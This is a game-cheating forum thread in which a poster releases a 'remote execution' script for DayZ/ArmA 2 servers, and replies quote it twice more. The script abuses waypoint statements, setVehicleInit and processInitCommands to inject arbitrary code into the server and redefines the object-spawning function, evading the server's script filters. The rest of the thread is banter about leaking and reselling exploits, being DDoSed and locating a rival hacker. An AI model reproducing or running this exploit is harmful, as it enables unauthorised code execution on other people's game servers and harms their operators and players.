Just Another RE

Posts 1–15 of 37 · Page 1 of 3
Just Another RE
RE -->

Code:
local_publishObj = {
//[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
_charID =		_this select 0;
object = 		_this select 1;
_worldspace = 	_this select 2;
_className = 	_this select 3;
_id =			0;

_dir = 		_worldspace select 0;
_location = _worldspace select 1;

call compile ("object = create" + "Vehicle [_className, _location, [], 0, ""CAN_COLLIDE""];
object setdir _dir;
object setpos _location;
object setVariable [""OwnerID"", _charID, true];");

//add to database
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,object];

//get UID
_uid = object call dayzobjectUID;

object setVariable ["ObjectUID", _uid, true];
};



_codeRE = _this select 0;
while {(count (waypoints group player)) > 0} do
{
	deleteWaypoint ((waypoints group player) select 0);
};
_wat = format [";local_publishObj = %2; if (isServer) then { 
					{ if (getPlayerUID _x == toString (%1)) then { remExField = _x; }; } foreach ([0,0,0] nearEntities 1000000000000000); };", (toArray (getPlayerUID player)), local_publishObj]; 
_codeRE2 = toArray (_wat + ";" + _codeRE + ";");
_superTemp = ("if (isServer) then { _list = [0,0,0] nearEntities 1000000000000000; (_list select 0) setVehicleInit (toString (" + str(_codeRE2) + ")); processInitCommands };");
_unit = (createGroup EAST) createUnit [typeof player, getMarkerPos "respawn_west", [], 0, "FORM"]; 	
_wp = group _unit addWaypoint [getPos _unit, 1000000000000000];
_wp setWaypointStatements ["true", _superTemp];
lol just decided to give it out huh
real hangender? 0.o
Quote Originally Posted by Kickazz080 View Post
real hangender? 0.o
The one and only. Also, sorry to hear about your skype sir.
Quote Originally Posted by Confin3d View Post
The one and only. Also, sorry to hear about your skype sir.
Aww. ^_^ Don't worry mate, I'm not scared of some script kiddies. :]
Quote Originally Posted by Confin3d View Post
The one and only. Also, sorry to hear about your skype sir.
I needed a new Skype account anyways cuz I was getting DDoS'd all day (cuz I can't shut my mouth haha) xD Although they/he hadn't even enough power to bring my router down, but it was still quite annoying :S
Quote Originally Posted by Kickazz080 View Post
I needed a new Skype account anyways cuz I was getting DDoS'd all day (cuz I can't shut my mouth haha) xD Although they/he hadn't even enough power to bring my router down, but it was still quite annoying :S
You can become unresolvable on skype ya know, just do some googling =p
Quote Originally Posted by Confin3d View Post
You can become unresolvable on skype ya know, just do some googling =p
Did that already. ^^ Btw, just found out that the hacker lives in London near "Pizza Express" lmfao.
Quote Originally Posted by hangender View Post
RE -->

Code:
local_publishObj = {
//[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
_charID =		_this select 0;
object = 		_this select 1;
_worldspace = 	_this select 2;
_className = 	_this select 3;
_id =			0;

_dir = 		_worldspace select 0;
_location = _worldspace select 1;

call compile ("object = create" + "Vehicle [_className, _location, [], 0, ""CAN_COLLIDE""];
object setdir _dir;
object setpos _location;
object setVariable [""OwnerID"", _charID, true];");

//add to database
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,object];

//get UID
_uid = object call dayzobjectUID;

object setVariable ["ObjectUID", _uid, true];
};



_codeRE = _this select 0;
while {(count (waypoints group player)) > 0} do
{
	deleteWaypoint ((waypoints group player) select 0);
};
_wat = format [";local_publishObj = %2; if (isServer) then { 
					{ if (getPlayerUID _x == toString (%1)) then { remExField = _x; }; } foreach ([0,0,0] nearEntities 1000000000000000); };", (toArray (getPlayerUID player)), local_publishObj]; 
_codeRE2 = toArray (_wat + ";" + _codeRE + ";");
_superTemp = ("if (isServer) then { _list = [0,0,0] nearEntities 1000000000000000; (_list select 0) setVehicleInit (toString (" + str(_codeRE2) + ")); processInitCommands };");
_unit = (createGroup EAST) createUnit [typeof player, getMarkerPos "respawn_west", [], 0, "FORM"]; 	
_wp = group _unit addWaypoint [getPos _unit, 1000000000000000];
_wp setWaypointStatements ["true", _superTemp];
I think someone may have sent this to me like a couple of days ago. Though it was in encoded and there was so much shit in the text file, it took forever to load
Like last week I give this RE to safeskeysskykeyssafe (it's like they are trying to brainwash you with adjectives lol) and told them if they sell it I will post

Naturally 2 seconds after I give them they start selling it (humans are way too predictable)
Quote Originally Posted by hangender View Post
RE -->

Code:
local_publishObj = {
//[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
_charID =		_this select 0;
object = 		_this select 1;
_worldspace = 	_this select 2;
_className = 	_this select 3;
_id =			0;

_dir = 		_worldspace select 0;
_location = _worldspace select 1;

call compile ("object = create" + "Vehicle [_className, _location, [], 0, ""CAN_COLLIDE""];
object setdir _dir;
object setpos _location;
object setVariable [""OwnerID"", _charID, true];");

//add to database
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,object];

//get UID
_uid = object call dayzobjectUID;

object setVariable ["ObjectUID", _uid, true];
};



_codeRE = _this select 0;
while {(count (waypoints group player)) > 0} do
{
	deleteWaypoint ((waypoints group player) select 0);
};
_wat = format [";local_publishObj = %2; if (isServer) then { 
					{ if (getPlayerUID _x == toString (%1)) then { remExField = _x; }; } foreach ([0,0,0] nearEntities 1000000000000000); };", (toArray (getPlayerUID player)), local_publishObj]; 
_codeRE2 = toArray (_wat + ";" + _codeRE + ";");
_superTemp = ("if (isServer) then { _list = [0,0,0] nearEntities 1000000000000000; (_list select 0) setVehicleInit (toString (" + str(_codeRE2) + ")); processInitCommands };");
_unit = (createGroup EAST) createUnit [typeof player, getMarkerPos "respawn_west", [], 0, "FORM"]; 	
_wp = group _unit addWaypoint [getPos _unit, 1000000000000000];
_wp setWaypointStatements ["true", _superTemp];


funny i used waypoints myself for 8 month or something,
hangender knows about it and it gets scriptfiltered after one or two weeks.

MR LEAK STRIKES AGAIN lol
Quote Originally Posted by infiSTAR View Post
funny i used waypoints myself for 8 month or something,
hangender knows about it and it gets scriptfiltered after one or two weeks.

MR LEAK STRIKES AGAIN lol
Yeah... I don't know about 8 months ago Infi, I'm pretty sure 8 months ago tim0n's bypass was still working and I know for sure you didn't know how to make RE then. Plus a couple of other things but I'm not going to talk about that on MPGH.
Quote Originally Posted by Terror In Paradise View Post
Good guy hangender releasing this after I buy it -.-

Shit just got serious.
Well This will be bad by the end of the week. RE's Just Aren't What they used to be.
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